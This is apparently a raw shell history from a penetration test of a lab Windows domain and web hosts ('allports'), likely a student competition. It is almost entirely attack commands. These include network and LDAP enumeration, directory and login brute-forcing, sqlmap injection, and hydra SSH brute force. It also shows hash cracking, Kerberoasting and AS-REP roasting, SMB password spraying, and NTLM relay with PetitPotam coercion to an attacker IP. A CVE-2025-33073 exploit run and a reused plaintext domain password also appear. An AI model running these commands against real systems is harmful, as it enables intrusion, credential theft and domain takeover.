_raw: : 1762021840:0;curl -X 'GET' \ '10.0.1.15:8081/api/load_routes.php?action=load&id=1' \ -H 'accept: application/json'


_raw: : 1762021837:0;for w in /ws /socket /socket.io /api/ws /api/socket; do echo "=== $w ==="; curl -I -s -H "Host: abc.rooms.allports.tours" "http://10.0.1.99${w}" | sed -n '1,60p'; echo; done\


_raw: : 1762021830:0;curl -s -H "Host: abc.rooms.allports.tours" http://10.0.1.99/admin.html | sed -n '1,240p'\


_raw: : 1762021826:0;curl -i -s -H "Host: abc.rooms.allports.tours" http://10.0.1.99/emergency.html | sed -n '1,160p'\


_raw: : 1762021814:0;for p in /api/ /api/status /api/info /api/models /api/session /api/auth /api/id; do echo "=== $p ==="; curl -i -s -H "Host: abc.rooms.allports.tours" "http://10.0.1.99${p}" | sed -n '1,200p'; echo; done\


_raw: : 1762021809:0;curl -X 'GET' \ 'http://10.0.1.15:8081/api/load_routes.php?action=load&id=1' \ -H 'accept: application/json'


_raw: : 1762021785:0;curl -X 'GET' \ '10.0.1.15:8081/api/load_routes.php?action=load&id=1' \ -H 'accept: application/json'


_raw:
ping 10.0.1.254
sudo nmap -sS -sV -p- 10.0.1.254
whatweb httpp//10.0.1.254
whatweb http//10.0.1.254
whatweb http://10.0.1.254
sudo nmap -O 10.0.1.254
sudo tcpdump -i eth0 host 10.0.1.254 -w analysis.pcap
sudo nmap -sU --top-ports 50 10.0.1.254
sudo nmap -Pn -sT -p1-65535 10.0.1.254
sudo nmap -sU -p161,162 10.0.1.254 --script snmp-info\
sudo arp-scan -l | grep 10.0.1.254
snmpwalk -v2c -c public 10.0.1.254
snmpwalk -v2c -c public1 10.0.1.254
snmpwalk -v2c -c private 10.0.1.254
snmpwalk -v2c -c manager 10.0.1.254
snmpwalk -v2c -c administrator 10.0.1.254
sudo netdiscover -r 10.0.1.0/24
sudo tcpdump -i eth0 host 10.0.1.254 -vv
ip addr
sudo tcpdump -i eth0 host 10.0.1.254 -vv\
sudo tcpdump -i eth0 host 10.0.1.254 -w capture.pcap\
sudo nmap -sU --top-ports 50 -sV 10.0.1.254\
snmpwalk -v2c -c public 10.0.1.254\
snmp-check 10.0.1.254 -c public\
sudo nmap -sU -p502,20000,44818 10.0.1.254\
sudo nmap -sU -p20000,44818 -sV --version-all 10.0.1.254\
sudo nmap --script enip-info -p44818 10.0.1.254\
sudo nmap --script dnp3-info -p20000 10.0.1.254\
sudo nmap --script enip-info -p44818 10.0.1.254\
sudo nmap --script-updatedb\
sudo nmap --script enip-info -p44818 10.0.1.254\
sudo tcpdump -i eth0 port 44818 -vv\
sudo nmap -sU -p44818 --script enip-info 10.0.1.254\
searchsploit "EtherNet/IP"\
searchsploit "Rockwell"\
searchsploit "Allen-Bradley"
sudo tcpdump -i eth0 net 10.0.1.0/24 -vv -w hmi_traffic.pcap\
clear
sudo nmap -sU -p44818 --script enip-info 10.0.1.254\
sudo nmap -sU -p44818 --script enip-info 10.0.1.254
sudo tcpdump -i eth0 udp port 44818 -vv
sudo tcpdump -i eth0 net 10.0.1.0/24 -vv -w hmi_traffic.pcap
searchsploit "EtherNet/IP"\
searchsploit "Rockwell"
ls
cat analysis.pcap
cat capture.pcap
tshark -r analysis.pcap -q -z conv,ip > conv_ip.txt\
cat conv_ip.txt
tshark -r hmi_traffic.pcap -q -z conv,ip > conv_ip.txt\
cat conv_ip.txt
tshark -r capture.pcap -q -z conv,ip > conv_ip.txt\
cat conv_ip.txt
capinfos analysis.pcap\
capinfos hm1_traffic.pcap\
capinfos hm_traffic.pcap\
capinfos hmi_traffic.pcap
capinfo capture.pcap
capinfos capture.pcap
tshark -r analysis.pcap -q -z io,stat,1 > io_stat.txt\
tshark -r analysis.pcap -q -z endpoints,ip > endpoints_ip.txt\
tshark -r analysis.pcap -q -z conv,tcp > conv_tcp.txt\
tshark -r analysis.pcap -q -z conv,udp > conv_udp.txt
tshark -r analysis.pcap -q -z io,phs > proto_hierarchy.txt\
tshark -r hmi_capture.pcap -q -z io,stat,1\
tshark -r hmi_traffic.pcap -q -z io,stat,1\
ping -c 2 10.0.1.254
arp -an | grep 10.0.1.254 || sudo arping -c 3 10.0.1.254
sudo nmap -Pn -T4 --top-ports 1000 -sS -sV -O --reason -oA
echo "127.0.1.1 $(hostname)" | sudo tee -a /etc/hosts
ip -br a
sudo sh -c 'printf "127.0.1.1\t%s\n" "$(hostname)" >> /etc/hosts'\
ip -br a\
ip route\
clear
ip route\
ip -br a\
sudo sh -c 'printf "127.0.1.1\t%s\n" "$(hostname)" >> /etc/hosts'\
ip route get 10.0.1.254
traceroute -n 10.0.1.254
sudo arping -I eth0 -c 5 10.0.1.254
sudo arping -I lo -c 5 10.0.1.254
nmap -Pn -n -sS -p- 10.0.1.254 -oX 10_0_1_254.xml
cat 10_0_1_254.xml
traceroute -n 10.0.1.254
ping chat.allporttours.com
ping chat.allport.tours
dig +short chat.allport.tours A @1.1.1.1
whois allport.tours
nslookup chat.allport.tours 8.8.8.8
[200~ip route\
\
clear
nmap -p- -T4 --min-rate 1000 -oA scans/10.0.1.254-ports 10.01.254
clear
set -euo pipefail


_raw: : 1762021772:0;curl -X 'GET' \ 'http://10.0.1.15:8081/api/load_routes.php?action=load&id=1' \ -H 'accept: application/json'


_raw: : 1762021771:0;impacket-GetUserSPNs -dc-ip 10.0.1.6 allports.local/forend


_raw: : 1762021763:0;impacket-GetUserSPNs -dc-ip 10.0.1.20 allports.local/forend


_raw: : 1762021750:0;ldapsearch -x -H ldap://10.0.1.6:389 -b "dc=allports,dc=local" "objectClass=*"


_raw:
: 1762021746:0;curl -X 'GET' \\
'10.0.1.15/api/load_routes.php?action=load&id=1' \ -H 'accept: application/json'


_raw: : 1762021735:0;ldapsearch -x -H ldap://10.0.1.6:389 -b "dc=allports,dc=local" "objectClass=user" sAMAccountName | grep sAMAccountName


_raw: : 1762021680:0;ldapsearch -x -H ldap://10.0.1.6:636 -b "dc=allports,dc=local" "objectClass=user" sAMAccountName | grep sAMAccountName


_raw: : 1762021667:0;ldapsearch -x -H ldap://10.0.1.6:389 -b "dc=allports,dc=local" "objectClass=user" sAMAccountName | grep sAMAccountName


_raw: : 1762021638:0;gobuster dir -u https://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -r -k


_raw: : 1762021574:0;whatweb -a 3 --header="Host: abc.rooms.allports.tours" http://10.0.1.99 | sed -n '1,120p' > ~/recon/10.0.1.99/whatweb_host_abc.txt


_raw: : 1762021566:0;whatweb -a 3 --header="Host: abc.rooms.allports.tours" http://10.0.1.99 | sed -n '1,120p' > ~/recon/10.0.1.99/whatweb_host_abc.txt~


_raw: : 1762021532:0;[200~whatweb -a 3 --header="Host: abc.rooms.allports.tours" http://10.0.1.99 | sed -n '1,120p' > ~/recon/10.0.1.99/whatweb_host_abc.txt~


_raw: : 1762021412:0;grep -EIn "openapi|swagger|/api/|apiBase|baseUrl|Authorization|Bearer|token|api_key|OPENAI|OPENAI_API_KEY|auth|session|ws|websocket|socket|credentials" ~/recon/10.0.1.11/js_files/* | sed -n '1,200p'\


_raw: : 1762021394:0;ldapsearch -x -H ldap://10.0.1.6:389 -b "dc=allports,dc=local" "objectClass=*" sAMAccountName | grep sAMAccountName


_raw: : 1762021381:0;ldapsearch -x -H ldap://10.0.1.6:389 -b "dc=allports,dc=local" "objectClass=user" sAMAccountName | grep sAMAccountName


_raw:
telnet root@10.0.1.14:23
telnet
telnet@10.0.1.14
telnet -h
mysql -h 10.0.1.15 -u root -p 3806


_raw: : 1762021320:0;gobuster dir --url http://10.0.1.14:80/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt --exclude-length 169


_raw: : 1762021307:0;gobuster dir --url http://10.0.1.14:8080/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt --exclude-length 169


_raw:
passwd
clear
nmap -pN 10.0.1.1
nmap -p- 10.0.1.1
nmap -p- 10.0.1.6
sudo nmap -Pn 10.0.1.1
nmap -T4 -A 10.0.1.10
nmap -T4 -A 10.0.1.11
sudo nmap -sC -sV 10.0.1.11
sudo nmap -sC -sV 10.0.1.1
sudo nmap -sC -sV -p- 10.0.1.11
feroxbuster -u Http://10.0.1.11:8045
feroxbuster -u https://10.0.1.11:8045
feroxbuster -u http://10.0.1.11:8045
feroxbuster -u http://10.0.1.11:7700
curl -X GET 'MEILISEARCH_URL/keys' \\
-H 'Authorization: Bearer MASTER_KEY'
curl -X GET 'http://10.0.1.11:7700/keys' \ -H 'Authorization: Bearer MASTER_KEY'
curl -X GET 'http://10.0.1.11:7700/keys' -H 'Authorization: Bearer MASTER_KEY'
curl -X GET 'http://10.0.1.11:7700/keys' -H 'Authorization: Bearer  '
nmap -sC -sV -o doteleven-nmap 10.0.1.11
feroxbuster -u http://10.0.1.11:80
ffuf
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -u http://10.0.1.11:80/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -u http://10.0.1.11:8045/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -u http://10.0.1.11:7700/FUZZ
nmap -sC -sV -o doteleven-nmap 10.0.1.11
clear
cat doteleven-nmap
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -u http://10.0.1.11:8000/FUZZ
sqlmap 10.0.1.11:80
sqlmap 10.0.1.11:80/login
sqlmap 10.0.1.11:7700/?:
curl \\
  -X POST 'MEILISEARCH_URL/indexes' \\
  -H 'Content-Type: application/json' \\
  -H 'Authorization: Bearer DEFAULT_ADMIN_API_KEY' \\
;
curl -X GET 'http://10.0.1.11:7700/keys' -H 'Authorization: Bearer DEFAULT_ADMIN_API_KEY'
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -u http://10.0.1.11:7700/FUZZ
ffuf -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -u http://10.0.1.11/login?username=FUZZ&password=admin
ffuf -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -u http://10.0.1.11/login -d "username=FUZZ&password=admin"
ffuf -w /usr/share/seclists/Passwords/Common-Credentials/Pwdb_top-10000000.txt -u http://10.0.1.11/login -d "username=admin&password=FUZZ"
ffuf -w /usr/share/seclists/Passwords/Common-Credentials/Pwdb_top-10000000.txt -u http://10.0.1.11/login -d "username=admin&password=FUZZ" -fw 629


_raw: : 1762021255:0;gobuster dir --url http://10.0.1.14:8080/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt


_raw:
clear
netdiscover 10.0.1.0/24
clear
man nmap | grep simple
man nmap | grep script
clear
history -c
clear
ls /
ls /bin
ls /bin meta
ls /bin meta*
which metasploit
clear
which msfconsole
clear
burpsuite
msfconsole


_raw: : 1762021223:0;gobuster dir --url http://10.0.1.14:80/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt


_raw: : 1762021216:0;ldapsearch -x -H ldap://10.0.1.6:389 -b "dc=allports,dc=local" objectClass=user


_raw: : 1762021206:0;hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.30 -t 4


_raw: : 1762021194:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.0.1.30:8096/FUZZ


_raw:
cat /etc/hosts
searchsploit librechat
clear
vim poc.py
python3 poc.py
vim poc.py
locate rockyou.txt
gzip -d /usr/share/wordlists/rockyou.txt.gz
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
clear
vim pass
hashcat -m 3200 pass /usr/share/wordlists/rokcyou.txt --force
hashcat -m 3200 pass /usr/share/wordlists/rockyou.txt --force


_raw: : 1762021188:0;grep -EIn "api|openapi|swagger|token|auth|Authorization|session|baseUrl|OPENAI|ws|websocket|socket" ~/recon/10.0.1.11/js_files/* 2>/dev/null | sed -n '1,200p'\


_raw: : 1762021181:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.0.1.30:8096/FUZZ -fw 1


_raw: : 1762021177:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.0.1.30:8096/FUZZ


_raw: : 1762021120:0;grep -EIn "api|openapi|swagger|token|auth|Authorization|session|baseUrl|OPENAI|ws|websocket|socket" ~/recon/10.0.1.11/js_files/* | sed -n '1,200p'\


_raw: : 1762021108:0;hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.30


_raw: : 1762021004:0;gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762020959:0;sudo systemctl start docker


_raw: : 1762020936:0;cp docker-compose.dev.yml docker-compose.yml


_raw: : 1762020914:0;ldapsearch -x -H ldap://10.0.1.6:389  -b "dc=allports,dc=local" objectClass=*


_raw: : 1762020907:0;ldapsearch -x -H ldap://10.0.1.6:389  -b "dc=allports,dc=local" (objectClass=*)


_raw: : 1762020902:0;python3 PetitPotam.py --help


_raw: : 1762020892:0;git clone https://github.com/topotam/PetitPotam.git


_raw: : 1762020890:0;ldapsearch -x -H ldap://10.0.1.6:389  -b "dc=allports,dc=local" (objectClass=user)


_raw: : 1762020873:0;ldapsearch -x -H ldap://10.0.1.6:389  -b "dc=allports,dc=local" objectclass=user


_raw: : 1762020820:0;nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o METHOD=Petitpotam


_raw: : 1762020780:0;ldapsearch -x -H 10.0.1.6 -b "dc=allports,dc=local" objectclass=user


_raw: : 1762020775:0;nxc smb 10.0.1.6 -u '' -p '' -L coerce_plus -o METHOD=petitpotam


_raw: : 1762020766:0;nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o METHOD=petitpotam


_raw: : 1762020763:0;rm -rf /var/cache/apt/archives/lock


_raw: : 1762020744:0;git clone https://github.com/SpecterOps/BloodHound.git


_raw: : 1762020734:0;rm -rf /var/lib/dpkg/lock-frontend


_raw: : 1762020698:0;nslookup chat.allports.tours 10.0.1.1


_raw: : 1762020660:0;nslookup --dns-ip=10.0.1.1 chat.allports.tours


_raw: : 1762020652:0;nslookup --dns-ip=10.0.1.1 chats.allports.tours


_raw: : 1762020650:0;impacket-ntlmrelayx --remove-mic -t ldaps://APT-DC-01.allports.tours --delegate-access -smb2support


_raw: : 1762020643:0;git clone https://github.com/dirkjanm/krbrelayx.git


_raw:
gvm-setup
gvn-start
gvm-setup
sudo gvm-setup
gvt-start
gvm-start
sudo gvm-start


_raw: : 1762020571:0;nxc smb 10.0.1.20-21 -u administrator -p 'password' --local-auth


_raw: : 1762020562:0;nxc smb 10.0.1.6 -u administrator -p 'password' --local-auth


_raw: : 1762020554:0;nxc smb 10.0.1.6 -u administrator -p 'password'


_raw: : 1762020553:0;ldapsearch -x -h 10.0.1.6 -b "dc=allports,dc=local" objectclass=user


_raw: : 1762020471:0;gobuster dir --url http://10.0.1.15:8090/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt


_raw: : 1762020405:0;mkdir -p ~/recon/10.0.1.11 && for ep in "/" "/api/" "/api/status" "/api/info" "/api/models" "/api/auth" "/api/session" "/api/version" "/api/health" "/api/docs" "/docs" "/swagger.json" "/openapi" "/openapi.json"; do echo "=== $ep ==="; curl -s -D - "http://10.0.1.11${ep}" | sed -n '1,40p'; echo; done > ~/recon/10.0.1.11/api_probes.txt; sed -n '1,200p' ~/recon/10.0.1.11/api_probes.txt\


_raw: : 1762020381:0;for ep in "/" "/api/status" "/api/info" "/api/models" "/api/auth" "/api/session" "/api/version" "/api/health" "/docs" "/api/docs" "/sw.json" "/swagger.json" "/openapi" "/openapi.json"; do echo "=== $ep ==="; curl -s -D - "http://10.0.1.11${ep}" | sed -n '1,40p'; echo; done > api_probe.txt; sed -n '1,200' api_probe.txt\


_raw: : 1762020337:0;impacket-ntlmrelayx --remove-mic --help


_raw: : 1762020288:0;nxc smb 10.0.1.6 -u users.txt -p 'password' --local-auth


_raw: : 1762020236:0;impacket-GetNPUsers -request -format hashcat -outputfile asrep -dc-ip 10.0.1.6 'allports.local/'


_raw: : 1762020234:0;python3 -m username_generator  -help


_raw: : 1762020231:0;python3 -m username_generator  help


_raw: : 1762020228:0;python3 -m username_generator


_raw: : 1762020221:0;impacket-GetNPUsers -request -format hashcat -outputfile asrep -dc-ip 'allports.local/'


_raw: : 1762020217:0;python3 -m username-generator


_raw: : 1762020210:0;docker run -d -p 8080:9392 -e PASSWORD="admin" --name openvas-alt2 immauss/openvas


_raw: : 1762020197:0;ldapsearch -x -h ldap.allports.tours -b "dc=allports,dc=local"  "(objectClass=person)"


_raw: : 1762020174:0;nxc smb 10.0.1.6 -u users.txt -p users.txt --no-bruteforce


_raw: : 1762020161:0;nxc smb 10.0.1.6 -u users.txt -p users.txt --no-bruteforce --local-auth


_raw: : 1762020160:0;pip install username-generator


_raw: : 1762020148:0;ldapsearch -x -H ldap.allports.tours -b "dc=allports,dc=local"  "(objectClass=person)" cn mail


_raw: : 1762020136:0;python3 -m pip install username-generator


_raw: : 1762020132:0;nxc smb 10.0.1.20-21 -u users.txt -p users.txt --no-bruteforce --local-auth


_raw: : 1762020113:0;nxc ldap 10.0.1.6 -u users.txt -p '' --asreproast userhash.txt


_raw: : 1762020106:0;nxc smb 10.0.1.20-21 -u users.txt -p users.txt --no-bruteforce


_raw: : 1762020063:0;sudo apt-get install docker-compose


_raw: : 1762020040:0;ldapsearch -x -h ldap.allports.tours -b "dc=allports,dc=local"  "(objectClass=person)" cn mail


_raw: : 1762020037:0;impacket-GetNPUsers -usersfile tmp_users  -request -format hashcat -outputfile asrep -dc-ip 10.0.1.6 'allports.local/'\


_raw: : 1762020027:0;sudo apt-get install docker.io


_raw: : 1762020023:0;sudo apt-get install docker-desktop


_raw: : 1762020005:0;tar -xvzf bloodhound-cli-linux-amd64.tar.gz


_raw: : 1762019990:0;rm -r bloodhound-cli-linux-amd64.tar


_raw: : 1762019976:0;docker run -d -p 443:443 -e PASSWORD="admin" --name openvas-alt immauss/openvas


_raw: : 1762019924:0;gobuster dir --url http://10.0.1.15:8081/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt


_raw:
ls
cd DC
ls
linWinPwn -t 10.0.1.6 -o ./
ls
sudo su


_raw:
ls
rm -rf linWinPwn_allports.local
ls
cd ..
ls
cat password.txt
touch realpassword.txt
vim realpassword.txt
cat realpassword.txt


_raw:
pipx ensurepath --force
cd ..
ls
cat password.txt
ls
cm
cme


_raw: : 1762019918:0;python3 namemash.py names.txt > tmp_users


_raw: : 1762019905:0;python3 namemash.py names.txt


_raw: : 1762019886:0;sudo apt install rpcclient


_raw: : 1762019770:0;journalctl -xeu ospd-openvas.service


_raw: : 1762019761:0;systemctl start ospd-openvas.service


_raw:
ls
file bin1
strings bin1
strings bin1 | grep port


_raw: : 1762019745:0;systemctl status ospd-openvas.service


_raw: : 1762019717:0;ldapsearch -x -H 10.0.1.6 -b "dc=allports,dc=local" | grep "sAMAccountName"


_raw: : 1762019705:0;ldapsearch -x -h 10.0.1.6 -b "dc=allports,dc=local" | grep "sAMAccountName"


_raw: : 1762019692:0;impacket-GetUserSPNs -dc-ip 10.0.1.20 allports.local/forend


_raw: : 1762019646:0;python3 CVE-2025-33073.py -u allports.local\\"" -p '' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 --cli-only


_raw: : 1762019629:0;sqlmap -u https://chat.allports.tours/login --data="email=*&password=*"


_raw: : 1762019627:0;python3 CVE-2025-33073.py -u allports.local\"" -p '' --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 --dc-fqdn APT-DC-01.allports.local --target DECKHAND-01.allports.local --target-ip 10.0.1.20 --cli-only


_raw: : 1762019622:0;echo "dGFidWxhcl9zZWFyY2g" | base64 -d


_raw: : 1762019588:0;sqlmap -u https://chat.allports.tours/login --data="email=*&password=*"


_raw: : 1762019674:0;mv 20251101135307_bloodhound.zip ~/home/bloodhoundUpload/


_raw: : 1762019586:0;bloodhound-python -u rdavis -p 'rosdav50' -d allports.local -ns 10.0.1.6 -c All --zip


_raw: : 1762019580:0;sqlmap -u https://chat.allports.tours/login/ --data="email=*&password=*"


_raw: : 1762019574:0;docker restart openvas-new


_raw:
cd ~
ls
cat password.txt
ls
cd DC
ls
rm -rf linWinPwn_allports.local
ls
cme


_raw:
linWinPwn
mkdir DC
cd DC
ls
linWinPwn -t 10.0.1.6 --auto -o ./
linWinPwn -t 10.0.1.6 -o ./
sudo su


_raw: : 1762019551:0;sqlmap -u chat.allports.tours/login/ --data="email=*&password=*"


_raw: : 1762019549:0;netexec smb 10.0.1.6 --gen-relay-list relay.txt


_raw:
: 1762019488:0;sqlmap -u http://bb-a173.allports.tours/services/html --headers="Content-Type: application/json" --data='{\
        "id": 1,\
        "roomID": 2,\
        "roomDisplay": "bb-a173",\
        "serviceOptionID": 1,\
        "notes": "*",\


_raw: : 1762019484:0;nxc winrm 10.0.1.6 -u 'rose.davis' -p 'rosdav50' --local-auth


_raw: : 1762019483:0;gobuster dir --url http://10.0.1.14:5001/api --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o 10.0.1.14_5001_gobust_results.txt --exclude-length 148


_raw: : 1762019476:0;gobuster dir --url http://10.0.1.14:5001/api --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o 10.0.1.14_5001_gobust_results.txt


_raw: : 1762019469:0;gobuster dir --url http://10.0.1.14:5001/api --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o 10.0.1.14_5001_gobust_results.txt --exclude_length 144


_raw: : 1762019463:0;ldapsearch -x - "dc=allports,dc=local" -H ldap://allports.local


_raw: : 1762019462:0;echo "47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=" | base64 -d


_raw: : 1762019458:0;gobuster dir --url http://10.0.1.15:8080/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o url_gobust_results.txt


_raw: : 1762019453:0;nxc smb 10.0.1.21 -u 'rose.davis' -p 'rosdav50' --local-auth --shares


_raw: : 1762019412:0;gobuster dir --url http://10.0.1.14:5001 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o 10.0.1.14_5001_gobust_results.txt --exclude-length 144


_raw: : 1762019405:0;gobuster dir --url http://10.0.1.14:5001 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o 10.0.1.14_5001_gobust_results.txt --exclude_length 144


_raw:
sudo dirsearch -u http://10.0.1.11/login
ls
cd reports
ls
cd http_10.0.1.11
touch hello.txt
su root


_raw: : 1762019380:0;gobuster dir --url http://10.0.1.14:5001 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o 10.0.1.14_5001_gobust_results.txt


_raw: : 1762019363:0;git clone https://github.com/mverschu/CVE-2025-33073.git


_raw: : 1762019327:0;nxc smb 10.0.1.20 -u 'rose.davis' -p 'rosdav50' --local-auth --rid-brute


_raw: : 1762019320:0;nxc smb 10.0.1.20 -u 'rose.davis' -p 'rosdav50' --local-auth --shares


_raw: : 1762019318:0;nxc smb 10.0.1.20 -u 'rose.davis' -p 'rosdav50' --local-auth --shres


_raw: : 1762019316:0;ldapsearch -x - "dc=allports,dc=local" -H ldap://allports.local


_raw: : 1762019313:0;ldapsearch -H ldap://10.0.1.6 -D "@allports" -w '' -b "DC=allports,DC=local" "(objectClass=*)" distinguishedName


_raw: : 1762019280:0;echo 47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU= | base64 -d


_raw: : 1762019267:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u https://10.0.1.10/FUZZ


_raw: : 1762019253:0;nxc ldap 10.0.1.6 -u '' -p '' --query "(sAMAccountName=Administrator)" "sAMAccountName objectClass pwdLastSet"


_raw: : 1762019242:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u https://10.0.1.10/FUZZ


_raw: : 1762019237:0;git clone https://github.com/nationalcptc-teamtools/Cal-Poly-Pomona.git


_raw: : 1762019234:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -u http://10.0.1.10/FUZZ


_raw: : 1762019231:0;nxc ldap 10.0.1.6 -u '' -p '' --query "(sAMAccountName=Administrator)" ""


_raw: : 1762019228:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt http://10.0.1.10/FUZZ


_raw: : 1762019217:0;docker run -d -p 443:443 --name openvas-new mikesplain/openvas


_raw: : 1762019209:0;docker run -d -p 443:443 --name openvas mikesplain/openvas


_raw: : 1762019200:0;mv /home/pentester/Downloads/crackstation.txt.gz.torrent .


_raw: : 1762019197:0;docker run -d -p 443:443 --name openvas mikesplain/openvas


_raw:
cd ~
ls
cat password.txt
nmap -sn 10.0.1.0/24
ls
cat password.txt


_raw:
touch ips.txt
vim ips.txt
nmap -sC -sV -p- -iL ips.txt -oA scan
xsltproc scan.xml > scan.html
ls
open scan.html


_raw: : 1762019185:0;ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -h http://10.0.1.10/FUZZ


_raw:
git clone https://github.com/lefayjey/linWinPwn\
cd linWinPwn\
chmod +x install.sh\
./install.sh
sudo su


_raw:
ls
mkdir apt_notes
cd apt_notes
ll
fping


_raw: : 1762019050:0;nxc ldap 10.0.1.21 -u users.txt -p '' --asreproast userhash.txt


_raw: : 1762019040:0;nxc ldap 10.0.1.20 -u users.txt -p '' --asreproast userhash.txt


_raw: : 1762019023:0;nxc smb 10.0.1.20 -u users.txt -p '' --asreproast userhash.txt


_raw: : 1762019006:0;gobuster dir --url http://10.0.1.11:8000 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o 10.0.1.11_8000_gobust_results.txt --exclude-length 52


_raw: : 1762019003:0;mysql -u root --protocol=tcp  --host 10.0.1.99 --skip-ssl-verify-server-cert


_raw: : 1762018996:0;mysql -u root -p --protocol=tcp  --host 10.0.1.99 --skip-ssl-verify-server-cert


_raw: : 1762018993:0;gobuster dir --url http://10.0.1.11:8000 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o 10.0.1.11_8000_gobust_results.txt


_raw: : 1762018990:0;./hashcat.bin -m 31300 ../hash /usr/share/wordlists/rockyou.txt


_raw:
ssh webmaster@10.0.1.15
ssh boatgps@10.0.1.15


_raw: : 1762018940:0;git clone https://github.com/danielmiessler/SecLists


_raw: : 1762018940:0;mysql -u root -p --protocol=tcp --help


_raw: : 1762018931:0;gobuster dir --url http://10.0.1.14 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -o 10.0.1.14_80_gobust_results.txt --exclude-length 169


_raw: : 1762018924:0;impacket-GetUserSPNs -dc-ip 10.0.1.6 allports.local/forend


_raw: : 1762018921:0;sudo apt install feroxbuster


_raw:
nmap -Pn -sC -sV 10.0.1.14
sudo nano /etc/hosts
ls
nmap -Pn -sC -sV 10.0.1.11
evil-winrm -i 10.0.1.6 -u rdavis -p 'rosdav50'
bloodhound-python -u rdavid -p 'rosdav50' -d allports.local -ns 10.0.1.6
bloodhound-python -u rdavid -p 'rosdav50' -d 'allports.local' -ns 10.0.1.6
bloodhound-python -u rdavid -p 'rosdav50' -d 'allports.local' --dns-tcp -ns 10.0.1.6 -c All
clear
GetUserSPN.py
impacket-GetUserSPNs -target-domain allports.local -request-user svc_stablize -dc-ip 10.0.1.6
bloodhound-python -u rdavid -p 'rosdav50' -d 'allports.local' --dns-tcp -ns 10.0.1.6 -c All
bloodhound-ce-python -u REDACTED_EMAIL -p 'rosdav50' -c All -d allports.local --dns-tcp -ns 10.0.1.6 --zip
neo4j
sudo neo4j
sudo neo4j -h
sudo neo4j start
bloodhound
sudo nano /etc/bhapi/bhapi.json
bloodhound
sudo nano /etc/bhapi/bhapi.json
bloodhound


_raw: : 1762018886:0;impacket-GetUserSPNs [200~-dc-ip 10.0.1.6 allports.local/forend


_raw:
nmap -p- -sV -sC -iL targets.txt -oA full_scan
nmap -sn 10.0.1.0/24 -oG live_hosts.txt
grep "Up" live_hosts.txt | cut -d' ' -f2 > targets.txt
wc -l targets.txt
nmap -iL targets.txt -oA quick_scan
nmap -p- -sV -sC -iL targets.txt -oA full_scan
nmap -iL targets.txt -oA quick_scan


_raw:
smbclient -L //10.0.1.6 -N
rpcclient -U "" -N 10.0.1.6
curl "http://10.0.1.15/page.php?id=1'"
netexec smb 10.0.1.21
impacket-ntlmrelayx -t ldaps://DC_IP --escalate-user LOWPRIV_USER --delegate-access
nmap --script=smb2-security-mode.nse -p445 10.0.0.0/24
nmap --script=smb2-security-mode.nse -p445 10.0.1.0/24
impacket-ntlmrelayx -t ldaps://DC_IP --escalate-user LOWPRIV_USER --delegate-access


_raw:
python3 PetitPotam.py -u LOWPRIV_USER -p 'PASSWORD' ATTACKER_IP DC_IP
ls
cd Northeastern-University
ls
python3 PetitPotam.py -u LOWPRIV_USER -p 'PASSWORD' ATTACKER_IP DC_IP
cd ..
ls
sudo mousepad /etc/responder/Responder.conf
cd /usr/share/doc/
ls
cd impacket-scripts
ls
cd ..
pip3 show impacket
which PetitPotam.py
cd /usr/lib/python3/dist-packages
ls
